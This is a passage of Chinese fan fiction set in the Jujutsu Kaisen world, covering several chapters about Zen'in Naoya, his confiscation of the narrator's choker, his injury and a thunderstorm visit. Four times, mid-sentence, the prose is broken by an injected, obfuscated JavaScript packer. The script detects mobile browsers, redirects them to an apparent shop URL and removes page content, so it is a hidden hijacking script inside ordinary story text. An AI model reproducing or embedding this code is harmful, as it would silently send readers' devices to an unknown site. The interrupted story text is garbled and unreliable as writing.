直哉所住的小院,大概算得上是整个宅邸采光最好的的位置之一,亮堂到不像是禅院家该有的样子,空气还清醒得可怕。能住在如此了不得的地方,肯定要归功于他了不得的嫡子兼家主继承人的身份,理所应当地就该拥有这个家里的好东西。而你只想眯起眼,嫌弃夕阳太过炫目,视网膜都要被烧穿孔了。 说起来,这还是你第一次走进这间小院,却不是头一回来到直哉的房间。早几年你们还是朋友的时候(什么朋友啊才不是呢!听到你心中所想的直哉一定会立刻矫正你的错误认知),你会和他一起坐在他屋子里的榻榻米上玩GAMEBOY——当然了,负责玩的是他,你的主要工作是旁观。他怎么可能大方到把自己也难得有时间玩的游戏机让给你。 至于直哉是什么时候搬到此处的,你毫无印象。可能当时他有在道场里炫耀过自己换到了更大更华丽的住所,只是你那时候没有认真听罢了。你也全然不关心摆在过道上漂亮的花盆和昂贵到一定会让世人惊掉下巴的松树盆栽,毕竟你也不是自愿过来的。要是你刚才能够再果断点、再坚定一点,干脆地推开直哉妹妹的拖拽,现在肯定还在寻找chocker的无望之路上吧。 诶,不对。要是按照这种说法,不就显得好像直哉打扰了你的日程、硬要把你叫过去是件好事了吗?难道直哉真是在为你着想吗? 即便是用你的脑袋,似乎也很难能够将“禅院直哉”和“体贴着想”关联在一起,干脆甩甩脑袋不再多琢磨。还是快点把直哉这边的事情处理掉吧。在你心里,应付总监部那群凶巴巴的老头们才是优先级最靠前的麻烦事。你可不想因为迟到或是做出了其他不符合他们心中的礼数的行动,在他们的眼底找到不满意的痕迹。 不满意大概率会挨骂,你现在还找不到机会将不满的潮汐重新推回到他们的身上。既然如此,还是少体验一些自己不喜欢的体验吧。 你加快了脚步,把地板踩得咚咚响。 少爷的小院完全不小,称之为大院都无妨。你被拉着沿回廊走了一圈又一圈,正中心的小小睡莲池看了足足有五回吧,少爷本人却不见其形。你本就不多的耐心真的快要岌岌可危了。 “喂,我说……” 直哉的妹妹猛得回头过来,一副不高兴的面孔,摆出了小大人的正经姿态,“首先,我不叫喂。难道你很希望我也用‘喂’来称呼你吗,五十里?” 你眨眨眼,认真地琢磨着这个称呼放在你的身上会带来怎样的感觉,想了想说:“我是不介意啦,随便你怎么叫我。” 以前妈妈研究员里的同事阿姨还会直接叫你“五十”,过度简洁到就差没有在书写的时候也用阿拉伯数字作为替代了。说到底,名字只是代号,你完全无所谓会被怎样称呼。 直哉妹妹一时语塞,心想你真不愧是外姓的家伙,思维方式就是和正统的禅院不同。但她懒得把这番心思说出来,也懒得指责你或是嘲笑你,悻悻地回过头去,把自己的名字告诉了你。 她的名字还挺可爱,叫桃歌。完全不像是会和“直哉”这个风格有血缘关联的名字呢,你胡思乱想。 继续往前。走过最后一个回廊,总算是能够见到此地的主人了。此刻他正岔着腿躺在软榻上——太可惜了,礼仪老师费心费力所教导的大家子弟该有的气度风范和行为做派,在直哉的栖息地范畴中全都没办法存在。你完全没觉得他的姿势看起来多么熟识或是自在,只担心他的骨盆会不会因为腿叉得太大而越长越宽。 完全没来得及把你的这番担心说出口,直哉倒是先笑起来了,前所未有地鼓掌欢迎你抽空过来。你配合地点点头。 “我确实是抽空过来的。”你百分百认同了他的客套话,“有什么事情的话你可以说得快一点吗?我还挺急的。” 直哉笑容一僵——哪有人真的会把违心的客套话语当真啊,你到底是故意在呛他,还是纯粹的脑子转不过弯。 算了算了,他才不要揣测你的心思。他又没那么关心你的想法,哼。 这么想着,他又能重新笑起来了,磨磨蹭蹭地接着说:“你是不是弄丢了什么东西?” 这番磨蹭当然是故意为之。谁让你说你很急。 但他的磨蹭不打紧,你自会用超快的语速弥补上被拖延的事件。 “是这样的没错所以你捡到了我的chocker是吗?” “嘛,差不多吧。” 他往口袋里掏掏掏,摸出那条黑丝绒的短项链。指尖又触碰到绒布的材质了,真别扭,但他决定暂且不在意,用手指甩着你的chocker玩,空气里随之被挥出一道浅黑色的影子。 直哉不急着编造他如何拿到这东西的故事,也暂且不告诉你归还chocker的条件,反而问起无关紧要的事情。 “说起来,这东西是从哪里来的?谁送给你的礼物吗?” “妈妈送的生日礼物。” 很急,但你有问必答。 直哉满意地点点头,“也就是说,这里头一定藏满了你和妈妈之间美好的回忆了吧。你妈妈还留了其他东西给你吗?” “没有。你很在意我妈妈的事情吗?” “看来这是妈妈留下的最后痕迹了,对不对?”他不回答你的问题,自顾自地抛出更多他早就知道了答案的问题,“你是不是很想把它拿回去,重新感受到妈妈的温度环绕在脖颈上的那份暖意?” 他以前所未有的柔软语调所说出的话语似乎编成了一张PUA大网,勾引你掉进去。 你眨眨眼。 “重新感受妈妈的温度环绕在脖颈上的那份暖意”……直哉说话的方式文绉绉的好肉麻哦。 你受不了肉麻,忍不住缩起脖子,坦白地说:“总之你尽快把chocker还给我就好了。谢谢你。” 你甚至主动道谢,而直哉则是从你的话语中分析出了你的渴求和急切,顿时笑起来。 “我会还给你的。”他话锋一转,“不过,我得高兴了才乐意这么做。你先想办法哄我高兴吧。比如……学小狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312618|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫两声之类的。” “这样就会让你高兴吗?你真怪。” “……别唧唧歪歪,快干!” “诶?不要。” 你耸着肩膀,很无奈的模样。 “我不想学小狗叫。”你直白地告诉他。 “哈?” 真是出人意料,真没想到你这么硬气。直哉一下子没心思甩你的chocker玩了,要挟般直接攥在手里,很像是攥住了人质的脖颈。 “你还想不想拿回去了!” 你认真琢磨了一番,“想是挺想的,可要是这么麻烦的话,还是算了吧。我也没那么想要。” 这算什么发言啊!甚至你说完就要走,直哉赶紧追上你。 “这不是你妈的遗物嘛!”他必须提醒你这一点。 “别说脏话啊直哉。” “没了这东西,不觉得对不起你妈嘛!” “不觉得。我又不想她。” “你就接着嘴硬吧!” 他说着就行动起来,叫人拿来剪刀,飞快冲向睡莲池旁,要挟说现在就把它剪碎扔进去,而他确实这么做了。 直到chocker彻底消失在水底,你依然无动于衷,继续走在回廊上。 无力感。 他感觉到了无法击溃你的无力感。 “你这家伙没有心的吗!” “嗯?” 这句质问逼停了你的脚步。你迟疑了一下,抬起手,直哉以为你要打他,无意识地缩了缩肩膀,可你举起的手并未落在他的身上,只是按在了自己的胸口而已。 掌心触碰到了切实且安稳的跳动,你可以对他的问题给出准确答复了。 “有呀。”你一脸诚恳,“我有心脏的,现在正在好好地跳动着。” 直哉愣了愣,无言以对的心情最先冒出来,怨念艰难地从抽搐之间挤出来,“你是笨蛋吗?我说的不是这种事!” “意思是你不信吗?那你摸摸就知道了。” 你说着就要去抓他的手,唐突的动作差点害他没躲开。大抵是惊恐的心情在作祟,其中很可能还掺杂了一点羞耻感,他几乎要叫出来。 “你能不能懂点礼貌啊,五十里!” “哦——”你明白了,“那就……不知能否请直哉少爷用您尊贵的手感受在下的心跳?” 敬语体接连冒出来,这下肯定礼貌了吧。然而直哉依旧脸色大变,看你的目光彻底转换成看变态的眼神,匆匆把你打发走。 当真无法击溃你吗,从肉.体到心灵都不行?直哉不信你是无坚不摧的,只有天才才可能做到这种程度。你又不是天才。 他会观察你、注视你,或许会耗费一点时间,但他一定能够找到你最脆弱的部分。而后,狠狠刺进去。 在此后许久都能感觉到的直哉频频投来的目光中,你似乎明白了一些什么。 “我觉得。” 你对维拉说,以前所未有的正经表情。 “直哉喜欢我。” 22.你一定喜欢我 当你说出此等大逆不道的推测时,禅院维拉正在整理自己的被子,对你的话语没有给出什么特别的反应,大概是因为你在说着这话的时候也没有表现出什么多余的激动吧。 也就是说,维拉只应了一声“是嘛”,没有发出八卦的尖叫,也不会嘲讽你自我意识过剩以至于抵达了自恋的地步,只在叠好被褥之后才迟迟地抬起脑袋,盯着你注视两秒之后,终于给出了一句符合当下对话的“为什么”。 看来她多少还是有点好奇和八卦的嘛。 你愣了一下,感觉自己被问住了,但维拉的问题完全是理所应当的展开,你不是没有预料到,只是压根没思考过。 不打紧不打紧,现在开始为你的推测提供详实的推理过程完全来得及。 你盘腿坐下,摆出一副若有所思的模样,还做作地用掌心托住下巴。维拉耐心地等待你的思维结晶落地。现在她冒出该有的好奇了,想知道你断定直哉暗恋你的原因。 思来想去,首当其冲的最重要原因,肯定是—— “他天天盯着我看诶!” 你说。 “而且是那种怀着心事、好像在深思熟虑什么事情才会有的眼神?” 维拉发出了不长不短的“哦”一声,很可能是这微妙的长度让你实在分不清她的回应里究竟藏着好奇还是漠不关心。盯着天花板看了几秒之后,她才丢出更多的话语。 “所以,他的眼里藏了什么心事?”这番询问完全是出于纯粹的疑惑,“禅院直哉真的是那种能藏住心情的人吗?” 在她看来,这位被整个家的爱意与吹捧娇宠着长大的同龄人,是不可能学会怎么把情绪藏在平静的面孔下的。他不高兴的时候就会理所应当地发泄出来,鄙夷也好轻蔑也罢,全都清晰地写在脸上,大概只有一部分正面的情绪是他不会情愿正面表达出来的吧。 这方面的认知你一定比不上维拉,谁让你一向不那么关心直哉的表现——只有在他的行为影响到你的时候。 比如甚尔叛逃后的那段时间他到处大发雷霆,再比如最近他时不时朝你投来的目光,都能纳入到会对你产生影响的范畴之中。 也是在被维拉这么询问了之后,你才正经地开始思考直哉的眼里藏着什么。 不管怎么想,肯定是…… “对我的喜欢啊!” 昂首挺胸的你把这番无力发言说得理直气壮,要是被直哉听见,绝对会气到上天吧。 与此同时,维拉依旧给出了和刚才相同音调相同长短的“哦”一声。 依然是在片刻的思考之后,她说:“不是因为你长得还算可爱吗?” “嗯?” 出乎意料的可能性呢。 你眨眨眼——绝没有装可爱的意思,这只是困惑心带来的一些无意识小动作而已。 “我不知道该不该否认你这句话。不否认的话显得我很厚脸皮,否认了又搞得我好像在妄自菲薄,所以我决定不对你提出的可能性进行评价。”你一本正经地说,俨然已经掌握了大人的那种曲折迂回的说话方式,“顺便,我认为你的猜测不太靠谱。你就不会整天盯着我,不是吗?” “我想的,因为我觉得你看脸的话挺可爱。”维拉也很正经的模样,“可这么做非常不礼貌。我和他不一样,我知道怎么克制自己的行动和心情。” 行吧,如果这话落进直哉的耳朵里,他肯定还是会被气得要跳到和云层一样高的程度。 你对维拉的小小拉踩倒是不在意,因为你的关注点已经歪掉了——你的全部思考能力都放在了她所说的“觉得你看脸的话挺可爱”这部分内容上。 “意思是,”你觉得很有必要进行一些细致的确认,“除了脸之外的我,不可爱吗?” “我不那么了解你除脸之外的部分,但你打人时候确实没那么可爱。” “打人没必要和可爱联系在一起。你也该对我有更多了解才行,我是说除了外表的部分。” “在禅院家,对所有人的认知都只会是片面的。不会有人把百分百的自我剖析给别人看” 没有对你的提议给出明确答复的维拉只这么说了,生疏的语气像是站在了局外人的立场,很像是哲学家在说话。你倒是不觉得她的生疏有什么。 你也是局外人,事不关己的话语反而会让你感到共鸣。 况且,维拉也过分快速地转换了话题,有意无意般没有给你留下太多回应的余地。 “假如你的猜想是正确的,接下来你要怎么办?”她接着你的事情说下去,很尊重你作为暗恋话题女主角的身份,“试探他?回应他?变成这个家未来的女主人?” “我打算无视。” 还挺意外,尽管维拉一贯冷冰冰像被冰雪冻住的脸不会做出对应的表情。“为什么?”她问。 你耸耸肩膀,“我又不喜欢他。” 好巧,禅院直哉也不喜欢你——你们真是心有灵犀呢。 维拉很明显松了口气,紧绷了好久的肩膀总算能够垮下去了。 “太好了,原来你和我一样讨厌他。”她简直像是在感叹,“难怪你和我一样,没有去探望重伤的他。” “我不讨厌直哉。”你必须纠正,“不喜欢不代表讨厌嘛。不过,重伤是怎么回事?” 你压根没有听到过这回事。 也不怪你消息不灵通。少爷在随行炳部队的祓除行动中不慎被咒灵重伤的事情,是局限于禅院们和好事下人之间才会叽叽喳喳讨论传播的事情,你可不一定有机会参与进去。唯一能帮你知晓此事的禅院维拉又很自然地以为你已经从旁人那里听说过了,这才导致了你在此刻的无知。 说实在的,无论是知道了还是不曾知晓,对你来说似乎都不会产生什么巨大的区别。你连惊讶的心情都没有冒出来,更别说是在此之上的幸灾乐祸或是感同身受了,心痛怜惜当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316178|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会有。冷淡到都要让人觉得心寒了。 当事者本人当然也意识到了你的这份冷漠——直哉根本没有设想过你对他的不幸受伤给出正常人的反应。 话虽如此,倘若家里的每个人都眼泪汪汪地伏在他的床榻前,以痛彻心扉兼具无比虔诚的模样庆幸他死里逃生,祝愿他早日恢复,独独从头到尾都没有见到你的身影,那他就不得不在意了。 他这次完全是九死一生,字面意义上的九死一生。同行者有十人,他是唯一活着回到家的那个,虽然伤得可怜,好歹活下来了。 所以,家主老爹会摸摸他的头,说他做得很好。光荣的牺牲当然荣耀,相较之下一定是留住性命更好。直毘人完全无所谓年龄和同行的其他人差了一大截的儿子是怎么活下来的,他只会关心活着回来的这个事实而已。家里的其他人差不多也一样吧。他们就是这般爱他。 只是不巧,一向负责京都地区后援工作的反转术士被调派去了青森,一时半会儿回不来,只能由其他人蹩脚地合拢他的伤口。接下来的一个月,他大概都要在床榻上度过了吧。 换言之,你有整整一个月的机会来向他献殷勤,你却从不露面。直哉明明对此满不在意,心里却还是不自觉酝酿着对你的愤怒。 也有其他人不曾来探望过他,譬如早几年就和他不对付、现在已经沦落到了丢脸地步的禅院望,还有那个不爱说话的维拉。直哉无所谓他们,也同样无所谓你,可只有你的不存在让他无法真的忽视。 他想看到你恭恭敬敬祝福他的那副低声下气的样子,希望你知道他活着回来有多么了不起,最好就此你能够对他心怀恭敬;与之截然相反的另一方面,他可不乐意听到你发出嘲笑的声音,认定你伤得可怜是丢脸的事情,或是自信地鼓吹同样的情况下你一定会做得更好。你(在除了肉搏以外的)各方面都不如他,一定不可能比他拥有更好的下场。 所以,到底是希望你来,还是不希望看到你的脸呢?说不好。至少在一动弹就会扯痛伤口的当下,直哉无法给出答案。窗外滚滚的春雷也恼人,把空气弄得闷闷的,完全不透气。 直哉躺得难受,想叫人去开窗通风,不巧哪个下人都不在。明天就统统把这帮废物打发走吧,小脾气促使他做出了决定。 他肯定也不会自己走到窗边,动手把窗户推开——少爷哪能做这种事? 雨越下越大了,雷声也愈发靠近,似乎有硕大的雨滴砸在窗框上,奏响咚咚咚很有节奏的噪声。直哉并不在意,直到相似的声响再度落入耳中,他才抬起眼皮。 这真的是雨声吗?他想。 当第三次听到咚咚咚时,直哉可以确信不是了。 正打算叫人过来,窗外又传来了新的声响。这会是结实且短促的“咚”一下。窗户被从外头拉开了。 “嘿,直哉。” 你探头进来,冲他挥挥手。 “我来看你了。” 23.才不会喜欢你 对于你不同寻常的到访,到底是要做出惊讶地表现,还是把你的行为视作理所应当,甚至不需要给出任何回应呢?嗯……这是个值得好好思考一番的问题。 问题是,直哉现在压根没在思考。他被你的诡异登场稍稍吓到,比嫌弃的心情更先冒出来的是脱口而出的“你干嘛从窗户进来!”的惊呼。 不止如此,他甚至还习惯性地拉上了被子,试图用这层轻飘飘的温暖棉花保护住自己,仿佛你会做出冲过来看他的伤口的这种缺德事。 好吧,就算你真的做出了这种事,好像也不奇怪,因为你真的是能够做出类似举动的家伙。 当然啦,现实情况是,你从头到尾都没有冒出过这种罪恶的窥私欲,自顾自伏在窗框上,把湿淋淋的发丝捋到脑后。有问必答的你现在要解答他的疑问了。 “因为你住的小院结构很复杂啊,绕来绕去的,太难走了。而且我刚才待的位置离这扇窗户最近,也没必要特地走一条远路从正门进来吧?” 直哉嫌弃地皱着脸,为你的到来挑刺,“既然要拜访他人,肯定要走正门才得体啊。真是的……” 老做这种上不了台面的事。他想。 尽管这么想了,更加嫌弃的话语却没有说出口。直哉用长长的一声叹气为你荒唐的思维方式作出评价。 他依然不知道自己到底是不是真的希望见到你。大概是为了掩饰这份摇摆不定的困惑,他依然执着地把话题放在你的身上。 “你过来干嘛?你应该也能感觉到自己来得太晚了吧?” 无论是奉承还是揶揄,都该在他刚受伤的时候送过来才最有价值吧。直哉想。 “晚吗?明明时间刚好啊。”你满不在意他的怨念,自顾自说,“最近这段时间里,只有今天才会打雷。” “……?” 答非所问。 直哉从床上起来了,拖着痛到不自觉缩起来的身子走到窗边。他必须当着你的面冲你翻白眼才行。 “你要不要听听你在说什么乱七八糟的?”就连他的揶揄也相当不留情面,“你总是这样,把话说得莫名其妙。” 感觉他像是把新仇旧恨一口气全部朝你发泄过来了。你倒是没什么感觉,毕竟直哉这话不怎么中听,但全部都是事实没错。你会认真地点点头,真诚地接受他的评价,并且进行相当积极的改正。 “我正在储存雷电的能量。这么说的话你是不是就能明白了?”你说,“雷雨天在京都太难得了。这里不是非洲大草原,不会在特定的某个季节里整天都雷声滚滚的,一年到头才能盼来几次打雷的日子。我想抓紧有闪电落下的时候过来补充一下电力。” 你追着闪电落下的方向追过来,正好来到了直哉所住的小院附近,顺便这才想起来了维拉说到的他受伤的事情。来都来了,顺便就拜访了一番。 换言之,你并不是特地来探望他的——纯粹只是顺便而已。 至于直哉是否get到了这层含义,一时之间不太好说,总之他还是保持着那副嫌弃的表情,完全不打算收敛起往下耷拉的嘴角。但也是直到这时候,他才后知后觉地把视线正式放在你的身上。 在这一秒之前,他所注视的、所留意的,似乎都只是你存在于眼前的这个概念而已,并非真正而切实的你。 你早就被雨淋湿了。这算得上是理所应当,落雷的日子总会伴随着雨水,甚至这会儿雨越下越大了,在你湿透的脑袋上砸出更多水花。屋檐完全没能挡掉太多雨水,把你整个人变得湿漉漉,连衣袖都在往下滴水。真狼狈啊,他在心里暗戳戳给你贴上负面评价。 但一想到现在终于轮到你以这种不得体的模样出现在了自己的眼前,直哉又忍不住感到一阵窃喜——还没正式踏入青少年范畴的小孩心情就是这么多变且好猜。他简直快要用欣赏的目光打量你此刻的凄惨模样了。 无论是你往下滴水的短发,还是被雨水砸得只能眯起来的浅橄榄色眼睛,全都让他感到大仇得报般的心满意足。唯一美中不足的,一定是你明明变成了这番落汤鸡的模样,却还是扬起嘴角,露出一如既往不那么讨人喜欢的笑容。 被淋成这样就该哭哭啼啼求他邀请你进来先躲躲雨才对啊。 直哉在心里描绘着你皱起脸低声下气哀求的模样。这幅样子他见得多了,只是很奇怪,卑微的神情居然完全没有办法复制粘贴转移到你的面孔上。绝不是因为你与卑微并不相衬,只是他被伤口的痒痛感摩挲着无法正经地调动想象力而已。就是这样没错。 他习惯性地冷笑一声,收回看你的目光,只看了看窗外的雨。春雷看起来要停了,你笨拙的充电工作也该结束了吧。 “‘补充电力’,说得好像你是充电的玩具一样。”他又开始揪着你的话语进行点对点的嘲笑了,“不过你的性质和玩具也没差了,谁让你……” “说起来。”你急切地打断他,任由自己的好奇心占据主位,“你的伤口痛吗?” 好诡异的询问,到底是打算关心他还是准备取笑啊?直哉瞬间无话可说,堵在喉咙里害他不知道该怎么回应的元凶似乎不再是他刚才准备说出口的嘲笑话语了,倒好像是一只青蛙卡在了那里,不上也不下,实在别扭。 不是没有别人询问过他的伤口痛不痛,怎么偏偏你也这么问…… 直哉不爽地眯着眼,誓要把你的目的打探个完全,期间不忘斟酌自己的回答。 他对所有人都说自己根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320104|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼,区区致命伤而已,又不是什么大事。对你当然也要给出相同的说辞才行。 你眨眨眼,随口嘀咕着:“是吗?” 直哉急了,“怎么,你不信我是吗!” 他下一句还打算说“不信的话你就滚吧反正我也不乐意你在这里”。当然,这句话也没能来得及说出口,你又用自己的发言堵住了他开口的机会。 “可我觉得你很疼诶。” “……哈?” 他一下子生气了。一贯的恼怒正适合作为心虚的掩饰,他迅速怒斥你胡说八道,你却只觉得他的急切毫无由来,也不想正经地应对。可他随即丢出了一句“你凭什么乱说!”,这让你觉得自己很有必要给出证据了 “因为你的脸色很差啊,而且一直皱着眉毛。虽说你平时也总是这么一副不高兴的样子,不过现在看起来和之前不太一样,所以我觉得你很疼。”你把手臂搭在窗框上,用手支着脑袋,不那么正经似的歪头看他,“你没吃止痛药吗?没有的话,我可以借一点给你。用不着还我。” “不用!”直哉还是显得好急,还想赶紧把话题拉扯到你的身上,“你怎么会有止痛药?难道是老在训练的时候挨打痛得不行只能一个人躲在房间里止痛吗?” 他的话语杀伤力差不多为零——压根就是胡乱猜测嘛。 “没有哦。” 你耐心地纠正他。今天你的心情还挺好的,估计是因为被雷劈了很多回,彻底变成了一个高能量人类吧。 “我平常训练的时候不怎么会被打到,也很久没有受伤过了。止痛药是维拉的,她来月经的头几天总是会很痛。” “……!” 直哉瞬间呆住了。 天呐,“月经”这么私密这么羞耻这么不值得说出口的词汇居然钻进了禅院家嫡子禅院直哉的耳朵里,真是要命了!他真的要叫出来了,好在惊慌的心情堵住了他的喉咙,可一开口,他依旧像是在尖叫般嚷嚷。 “你怎么能随便把女人的隐私挂在嘴上!太羞耻了!你没有一丁点尊严的吗!”他气急败坏,“五十里鸣神,你能不能要点脸!” “你在说什么啊?”你好困惑,“月经不是很正常的吗?” “你别说了!” “是因为我们每个人都只差一点就会变成没能出生的月经,所以你才不喜欢这个词吗?” 直哉的体温要爆炸了,“都让你别说了!” 你无奈叹气,不自觉用上了哄孩子的柔和语气,还对着他不停扇风。 “好啦好啦,你不爱听的话我就不说了。我们换个话题?” 直哉哼一声别开脑袋,“随便你!” “要不你和我说说你是怎么受伤的?” 24.春日雷 直哉从来不怕打雷。害怕自然元素是懦夫才有的表现,他可不是懦夫。所以害得他心脏猛得快速抽动了几下的元凶绝不是这一阵比任何时候都要骇人的滚雷,而是你居然精准地被闪电劈中了,且在接触着天空电力的同时,手还搭在他的窗框上。 没错,这才是他更加闷闷不乐的最重要原因,没有之一! “你不知道电有传导性吗,还是你就是盘算着要电死我?”他嫌弃地拿起一旁的花瓶,硬要把你搭在窗框上的手推下去,“要是电死了禅院家的嫡子,你就等着在忌库里被关一辈子吧!” “电不死的啦。” 刚被推下去的你的手,下一秒又回到窗框上了,悠闲地搭在上面,看起来更显得气人。 “木头不导电吧?”你曲起指节,咚咚咚敲打杉木制成的窗框上,“我听说木头是一种绝缘体。” 直哉冷笑一声,不知道是认定了你在强词夺理,还是觉得你的发言太过无知。“那你怎么解释雷雨天站在树下的人会被劈死?” “唔——这个嘛——” 你抓了抓湿淋淋的脑袋,顺便挤掉头发上过多的水。你已经开始嫌弃湿透的脑袋太沉了。 至于直哉的问题,你确实认真想了想,可是没能想到答案。禅院家的老师又不会教你们物理。 “那也不是树本身导致的吧?反正你不会被电死的啦。别怕,直哉。” “谁在怕了!”直哉一下子跳起来,更大力地用花瓶怼开你的手,“我刚才都感觉到地上漏电了!反正你别和我有任何直接或者间接的接触,就算用手去碰我的小院也不准!” “诶?” 话虽如此,可你们立在同一片大地上,不管怎样都会发生间接接触吧——除非你或者直哉飞到半空? 要让双脚脱离大地,怎么想都觉得很难做到。你干脆不想了,把对话扯回到原本的话题上。 “你刚说到,你们当时的行动需要祓除的对象是什么来着?”刚才听得还算认真的你完全可以复述出他当时的措辞,“你快接着说下去吧。” 是了,是了,还要满足你这个混球的好奇心呢。 直哉不爽地撇撇嘴。其实他都懒得和你说了,但很可能是只有你问起了此事,害得他一向不常发挥作用的责任心居然在此刻占据了主位,觉得确实有必要完全满足你的困惑才行。 说不定听完之后,你还会对他怀有艳羡之情呢。能从那种场合下存活,绝对是很了不起的事情,就算是没品的你也会啧啧感叹吧。他可太想看到你充满崇拜和敬仰的目光了。 直哉心里还怀有此等小小自私的念头。 赶紧清清嗓子,他接着刚才没说完的开篇情节继续下去。 “那是一级咒灵,长得像是——” “你再等等。” 开篇又被打断了。 直哉朝你投来相当不爽的目光,看着你后退几步,仰头还在盯着天空。果不其然,几秒钟之后又有闪电落下。 真可恶,讨人厌的雷电。 他比任何时候都要更加讨厌落雷了。 而雷电也确实不识相。在你敲窗造访之前,打雷的频率大概是隔上十几甚至几十分钟才会来一次,偏偏在他说话的期间一分钟里就要轰隆隆吵个几回,你又每逢闪电落下就要打断此刻的话语,非要全神贯注迎接不可,吵得不行的雷声怎么听都会把他的声音盖住,连直哉都不确定自己到底说了些什么,更没办法笃定不专心的你能够听见多少了。 “接下来应该不会打雷了。” 根据比刚才还要更加昏暗更加糟糕的天色,你却给出了这番信誓旦旦还挺明朗的猜想,说着又重新扒到了窗框边,曲起手臂,懒懒地把脑袋搁上去。 “按照你的说法,是因为同行的其他咒术师都在尽力保护你,所以你才能活下来,对吧?” 直哉眯起眼看你。看来你听得姑且还算认真,脑子也没有被劈坏,至少没有曲解他的意思,但说出来的话语确实也没那么好听就是了。 他把花瓶放到一边去,任由你瘫在窗框上。他没有那么相信你所说的不会再打雷,只是懒得管你了,顺便觉得你居然没有被闪电劈得脸蛋焦黑头发爆炸实在是太叫人觉得失望,好在你你这幅累到站不动的样子也足够赏心悦目。他最爱看的就是你惨兮兮的模样了。 “是这样。怎么了,你有意见?”他习惯性摆出禅院家嫡子该有的傲气,“我可是这个家未来的主人,保护我才能保住整个禅院家的未来。五十里,你也该记住这个道理才对。” “唔——” 你发出不像是肯定也不像是质疑的回应,只是睁大了眼睛看他。直哉第一次感到你的眼眸生得挺骇人,与闪电的色泽好相似。 “那些保护你的人,真的是自愿保护你所以才保护了你吗?真的不是被你或其他人命令了吗?” 直哉一愣。“你什么意思?”而后理所应当地生气了,“你在质疑我故意拉他们当挡箭牌,所以我才活下来了吧!” 他会这么说,是因为他真的这么做了。他并非是打算把此事当做秘密,从没有说出口,只是因为从没有谁问过他。 除了你。 “我没这么想,你也没这么坏吧。”你说,“我只是觉得,他们心里会不会更加希望自己活下来,而不是其他人,哪怕是需要保护的少爷。因为我就会这么想啊。在我心里,我肯定是第一位的重要,一定要努力活下来才行。” 你坦然诉说着你的自私,并不觉得这是羞耻。 直哉看起来呆滞了几秒钟,不快的心情稍后才追上,却没有说出任何与这番愤恨心情相衬的话语,只把你的脑袋和手臂一起从窗框推落,打发你赶紧回去。 “我已经累了,要休息了!”他裹紧外套,似乎是在佐证自己催你离开的借口再真实不过,“你别在这里打扰我了!” “好。” 你的差事正好也结束了,只想赶紧回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324976|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去躺平。 你蹦跶一下,借着惯性才方便站起来,冲他挥挥手。 “拜拜,明天见咯。” 直哉嫌弃你客套的笨蛋发言,“难道明天我的伤就会好了吗?” “说不定呢,是吗?” “嘁,随你怎么说……喂,过来关窗!” 一溜烟跑走的你,压根没有听见最后的这句话。 直哉的病恹恹时期只短暂地持续了一个多月,等到新季节来临,他就又换上那副一如既往的样子回到了道场——意思就是,他的眼睛又长回到头顶上了,以一副居高临下的姿态看人。 除你以外。 他没有用那种挺讨人厌的眼神看你,却频频投来目光,略显纳闷的表情绝对是在质问你为什么在那个雨天之后就没来拜访过他还不主动和他说话,八成还带着几分对你这份不礼貌的厌恶。 你完全没有留意到此事。你正在东张西望。 天开始冷起来了,寿命短暂的虫子大概都躲进了树洞或是泥地里等死,再也不是走几步路就能听到嗡嗡的虫鸣声的时节了。在训练结束后,你绕着道场走了三圈,居然一只虫子都没有见到。 找不到虫子的话,可就有点麻烦了啊…… “嘻!” 身后传来毫不遮掩的一声嘲笑,发出这番古怪笑声的当然是直哉的小跟班,他迫不及待地靠近少爷的身边,用不高不低——不至于震聋直哉的听力、也完全不会从你的耳边溜走的音量,刻薄地打小报告。 “五十里这几天一直在抓各种各样的虫子,有一回还抓住了一只啄木鸟,直接从鸟嘴里扒出了一条肉乎乎的毛毛虫。咦,真脏!怎么会有女孩子愿意和虫玩在一起!” 这话说得挺奇怪。 首先你现在的行为不能被称之为“玩虫子”,其次你怎么不知道和虫子玩耍变成了一种性别限定的事件。 